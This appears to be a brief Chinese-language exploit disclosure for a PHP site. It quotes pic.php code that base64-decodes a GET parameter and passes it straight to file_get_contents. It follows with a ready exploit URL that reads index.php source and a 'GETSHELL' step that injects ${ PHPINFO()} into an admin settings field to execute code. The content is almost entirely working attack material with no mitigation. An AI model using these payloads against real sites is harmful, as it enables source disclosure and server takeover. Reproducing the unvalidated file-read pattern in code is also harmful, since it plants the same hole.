pic.php
function url_base64_decode($code)
{
if($code=="")
return "";
$code=str_replace("!",'+',$code);
$code=str_replace(",",'/',$code);
$str=base64_decode($code);
return $str;
}
$url=url_base64_decode($_GET["url"]);
//....省略
header("Content-type: image/jpeg");
echo file_get_contents($url);
exp:http://site/pic.php?url=aW5kZXgucGhw
后台GETSHELL
系统基本参数->网站所在目录:->${ PHPINFO()}